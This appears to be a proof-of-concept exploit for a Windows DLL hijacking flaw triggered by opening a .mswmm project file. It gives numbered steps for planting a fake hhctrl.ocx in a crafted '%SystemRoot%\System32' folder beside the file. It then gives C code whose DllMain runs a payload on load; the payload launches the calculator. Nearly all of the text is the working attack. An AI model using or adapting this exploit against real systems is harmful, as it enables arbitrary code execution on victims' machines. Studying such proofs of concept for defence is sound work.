所属类别 hhctrl.ocx

hhctrl.c

/*
There is a way more interesting bug there in which the program tries to load a driver file.
It's in investigation, but has a nice potential for a nastier vulnerability.
1. Create a file with the following extension: .mswmm
2. Compile this library and rename it to hhctrl.ocx
3. On the same directory of the .mswmm file, create a directory called: %SystemRoot%
4. Inside %SystemRoot%, create a directory called: System32
5. Move hhctrl.ocx into the System32 directory that you have just created
6. Open the .mswmm file and enjoy the fireworks
*/
#include 
#define DLLIMPORT __declspec (dllexport)
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  evil();
  return 0;
}